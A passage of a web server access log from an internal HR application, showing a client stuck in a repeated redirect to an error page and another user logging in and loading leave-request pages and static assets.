/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.167 - - [03/Dec/2025:09:59:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.167 - - [03/Dec/2025:09:59:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.125 - - [03/Dec/2025:10:01:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.125 - - [03/Dec/2025:10:01:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.125 - - [03/Dec/2025:10:01:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.125 - - [03/Dec/2025:10:01:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:17 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.125 - - [03/Dec/2025:10:01:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [03/Dec/2025:10:01:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [03/Dec/2025:10:01:27 +0800] "GET /eHR/js/date.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:27 +0800] "GET /eHR/js/date.js HTTP/1.1" 304 - 192.168.11.125 - - [03/Dec/2025:10:01:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [03/Dec/2025:10:01:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.125 - - [03/Dec/2025:10:01:27 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 